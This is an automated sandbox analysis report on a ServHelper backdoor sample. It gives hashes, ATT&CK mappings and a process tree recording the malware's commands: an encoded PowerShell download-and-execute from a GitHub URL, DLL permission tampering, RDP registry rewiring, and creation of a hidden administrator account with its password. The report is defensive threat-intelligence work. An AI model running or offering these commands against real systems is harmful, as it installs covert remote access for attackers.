servhelper | 9d2a3042c4e2d68df7a39cd7efae7c64f2b7ed5ae507bac9282e154591757724

Analysis

max time kernel
135s
max time network
131s
platform
windows7_x64
resource
win7v20210408
submitted
16-06-2021 09:27

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General

Target

6efc7601be401f3e9b49f4f2cf63fee9.exe
Size

6.0MB
MD5

6efc7601be401f3e9b49f4f2cf63fee9
SHA1

6c975b9f64a3e0840c43f11571bc4b1bccdc3d83
SHA256

9d2a3042c4e2d68df7a39cd7efae7c64f2b7ed5ae507bac9282e154591757724
SHA512

87998010dd888280388f65637945aca1c641c45ad482d9abb193b1f00c5838aff22dcec68c695feb357dab26f536edd8364640cda4814de461c506b1ff288c7a

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1740	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
864	icacls.exe
1320	icacls.exe
1716	icacls.exe
1400	icacls.exe
1740	icacls.exe
1008	icacls.exe
1660	icacls.exe
1812	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130c1-182.dat	upx
behavioral1/files/0x00050000000130c2-183.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1812	Process not Found
1812	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1400	icacls.exe
1740	icacls.exe
1008	icacls.exe
1660	icacls.exe
1812	takeown.exe
864	icacls.exe
1320	icacls.exe
1716	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9784626f-cbb0-4750-91bc-d198d7032951	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D06DEZ1NXGAENBDQJHKR.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4593038a-726f-4051-a90c-3bdac3945b6a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a29c2812-21d5-4e77-8341-6cabd29f26b4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aa94d932-fd20-49ac-bde7-000b2143e03f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8e0ff929-523a-4486-a55d-616709a3e060	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_55b613c0-e849-46c2-9824-ccef5d8a63b4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_924e94d4-cd7f-46cf-975c-9289887167ce	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9c0afe08-2862-4254-9f36-3dc9ab48dc6d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3fe2757a-a012-4931-b1be-36d050a4fb82	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_13e8d362-a15d-4fa7-972f-5c93ba4d4276	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03439c70-80c7-4271-9f9d-3d99dad7e214	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70a29642a262d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1888	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2028	powershell.exe
2028	powershell.exe
1372	powershell.exe
1372	powershell.exe
1500	powershell.exe
1500	powershell.exe
1476	powershell.exe
1476	powershell.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
1740	powershell.exe
1740	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1812	Process not Found
1812	Process not Found
1812	Process not Found
1812	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeRestorePrivilege	1320	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1280	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1280	WMIC.exe
Token: SeAuditPrivilege	1280	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1280	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1280	WMIC.exe
Token: SeAuditPrivilege	1280	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2032	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2032	WMIC.exe
Token: SeAuditPrivilege	2032	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2032	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2032	WMIC.exe
Token: SeAuditPrivilege	2032	WMIC.exe
Token: SeDebugPrivilege	1740	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 2028	1220	6efc7601be401f3e9b49f4f2cf63fee9.exe	29
PID 1220 wrote to memory of 2028	1220	6efc7601be401f3e9b49f4f2cf63fee9.exe	29
PID 1220 wrote to memory of 2028	1220	6efc7601be401f3e9b49f4f2cf63fee9.exe	29
PID 2028 wrote to memory of 1712	2028	powershell.exe	31
PID 2028 wrote to memory of 1712	2028	powershell.exe	31
PID 2028 wrote to memory of 1712	2028	powershell.exe	31
PID 1712 wrote to memory of 1660	1712	csc.exe	32
PID 1712 wrote to memory of 1660	1712	csc.exe	32
PID 1712 wrote to memory of 1660	1712	csc.exe	32
PID 2028 wrote to memory of 1372	2028	powershell.exe	33
PID 2028 wrote to memory of 1372	2028	powershell.exe	33
PID 2028 wrote to memory of 1372	2028	powershell.exe	33
PID 2028 wrote to memory of 1500	2028	powershell.exe	35
PID 2028 wrote to memory of 1500	2028	powershell.exe	35
PID 2028 wrote to memory of 1500	2028	powershell.exe	35
PID 2028 wrote to memory of 1476	2028	powershell.exe	37
PID 2028 wrote to memory of 1476	2028	powershell.exe	37
PID 2028 wrote to memory of 1476	2028	powershell.exe	37
PID 2028 wrote to memory of 1812	2028	powershell.exe	40
PID 2028 wrote to memory of 1812	2028	powershell.exe	40
PID 2028 wrote to memory of 1812	2028	powershell.exe	40
PID 2028 wrote to memory of 864	2028	powershell.exe	41
PID 2028 wrote to memory of 864	2028	powershell.exe	41
PID 2028 wrote to memory of 864	2028	powershell.exe	41
PID 2028 wrote to memory of 1320	2028	powershell.exe	42
PID 2028 wrote to memory of 1320	2028	powershell.exe	42
PID 2028 wrote to memory of 1320	2028	powershell.exe	42
PID 2028 wrote to memory of 1716	2028	powershell.exe	43
PID 2028 wrote to memory of 1716	2028	powershell.exe	43
PID 2028 wrote to memory of 1716	2028	powershell.exe	43
PID 2028 wrote to memory of 1400	2028	powershell.exe	44
PID 2028 wrote to memory of 1400	2028	powershell.exe	44
PID 2028 wrote to memory of 1400	2028	powershell.exe	44
PID 2028 wrote to memory of 1740	2028	powershell.exe	45
PID 2028 wrote to memory of 1740	2028	powershell.exe	45
PID 2028 wrote to memory of 1740	2028	powershell.exe	45
PID 2028 wrote to memory of 1008	2028	powershell.exe	46
PID 2028 wrote to memory of 1008	2028	powershell.exe	46
PID 2028 wrote to memory of 1008	2028	powershell.exe	46
PID 2028 wrote to memory of 1660	2028	powershell.exe	47
PID 2028 wrote to memory of 1660	2028	powershell.exe	47
PID 2028 wrote to memory of 1660	2028	powershell.exe	47
PID 2028 wrote to memory of 992	2028	powershell.exe	48
PID 2028 wrote to memory of 992	2028	powershell.exe	48
PID 2028 wrote to memory of 992	2028	powershell.exe	48
PID 2028 wrote to memory of 1888	2028	powershell.exe	49
PID 2028 wrote to memory of 1888	2028	powershell.exe	49
PID 2028 wrote to memory of 1888	2028	powershell.exe	49
PID 2028 wrote to memory of 820	2028	powershell.exe	50
PID 2028 wrote to memory of 820	2028	powershell.exe	50
PID 2028 wrote to memory of 820	2028	powershell.exe	50
PID 2028 wrote to memory of 860	2028	powershell.exe	51
PID 2028 wrote to memory of 860	2028	powershell.exe	51
PID 2028 wrote to memory of 860	2028	powershell.exe	51
PID 860 wrote to memory of 904	860	net.exe	52
PID 860 wrote to memory of 904	860	net.exe	52
PID 860 wrote to memory of 904	860	net.exe	52
PID 2028 wrote to memory of 1600	2028	powershell.exe	53
PID 2028 wrote to memory of 1600	2028	powershell.exe	53
PID 2028 wrote to memory of 1600	2028	powershell.exe	53
PID 1600 wrote to memory of 1792	1600	cmd.exe	54
PID 1600 wrote to memory of 1792	1600	cmd.exe	54
PID 1600 wrote to memory of 1792	1600	cmd.exe	54
PID 1792 wrote to memory of 1904	1792	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe
"C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dnc4qwrw\dnc4qwrw.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES28B6.tmp" "c:\Users\Admin\AppData\Local\Temp\dnc4qwrw\CSC55115F1A50BA466FB1A6B5594D7C8A.TMP"
      4⤵
      PID:1660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1812
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:864
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1320
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1716
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1400
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1008
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1660
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:992
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1888
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:820
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:904
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1792
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1904
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1484
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:952
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1448
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:636
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1552
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:952

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:2032
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1384

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc XsM7PEPF /add
1⤵
PID:1244
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc XsM7PEPF /add
  2⤵
  PID:1372
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc XsM7PEPF /add
    3⤵
    PID:1596

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:944
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1904

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1268
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1512

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2032
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1648

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc XsM7PEPF
1⤵
PID:992
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc XsM7PEPF
  2⤵
  PID:1948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc XsM7PEPF
    3⤵
    PID:1940

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1008
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1280

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1496
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2032

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:900
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1220-62-0x0000000041394000-0x0000000041396000-memory.dmp

Filesize
8KB

Download
memory/1220-59-0x0000000041840000-0x0000000041C61000-memory.dmp

Filesize
4.1MB

Download
memory/1220-64-0x0000000041397000-0x0000000041398000-memory.dmp

Filesize
4KB

Download
memory/1220-63-0x0000000041396000-0x0000000041397000-memory.dmp

Filesize
4KB

Download
memory/1220-61-0x0000000041392000-0x0000000041394000-memory.dmp

Filesize
8KB

Download
memory/1372-97-0x000000001B710000-0x000000001B711000-memory.dmp

Filesize
4KB

Download
memory/1372-106-0x000000001B7A0000-0x000000001B7A1000-memory.dmp

Filesize
4KB

Download
memory/1372-95-0x0000000001F40000-0x0000000001F41000-memory.dmp

Filesize
4KB

Download
memory/1372-94-0x000000001AC74000-0x000000001AC76000-memory.dmp

Filesize
8KB

Download
memory/1372-93-0x000000001AC70000-0x000000001AC72000-memory.dmp

Filesize
8KB

Download
memory/1372-99-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

Filesize
4KB

Download
memory/1372-120-0x000000001AC40000-0x000000001AC41000-memory.dmp

Filesize
4KB

Download
memory/1372-119-0x0000000002A80000-0x0000000002A81000-memory.dmp

Filesize
4KB

Download
memory/1372-100-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/1476-156-0x000000001AE04000-0x000000001AE06000-memory.dmp

Filesize
8KB

Download
memory/1476-155-0x000000001AE00000-0x000000001AE02000-memory.dmp

Filesize
8KB

Download
memory/1500-131-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

Filesize
4KB

Download
memory/1500-133-0x00000000027C0000-0x00000000027C1000-memory.dmp

Filesize
4KB

Download
memory/1500-129-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

Filesize
4KB

Download
memory/1500-128-0x000000001ACA4000-0x000000001ACA6000-memory.dmp

Filesize
8KB

Download
memory/1500-134-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1500-127-0x000000001ACA0000-0x000000001ACA2000-memory.dmp

Filesize
8KB

Download
memory/1740-210-0x000000001960A000-0x0000000019629000-memory.dmp

Filesize
124KB

Download
memory/1740-209-0x0000000019604000-0x0000000019606000-memory.dmp

Filesize
8KB

Download
memory/1740-208-0x0000000019600000-0x0000000019602000-memory.dmp

Filesize
8KB

Download
memory/2028-86-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

Filesize
4KB

Download
memory/2028-72-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

Filesize
8KB

Download
memory/2028-66-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

Filesize
8KB

Download
memory/2028-68-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
memory/2028-67-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/2028-69-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/2028-70-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/2028-101-0x000000001AAFA000-0x000000001AB19000-memory.dmp

Filesize
124KB

Download
memory/2028-71-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

Filesize
8KB

Download
memory/2028-74-0x000000001B750000-0x000000001B751000-memory.dmp

Filesize
4KB

Download
memory/2028-159-0x000000001C2B0000-0x000000001C2B1000-memory.dmp

Filesize
4KB

Download
memory/2028-82-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/2028-84-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/2028-85-0x000000001AA60000-0x000000001AA61000-memory.dmp

Filesize
4KB

Download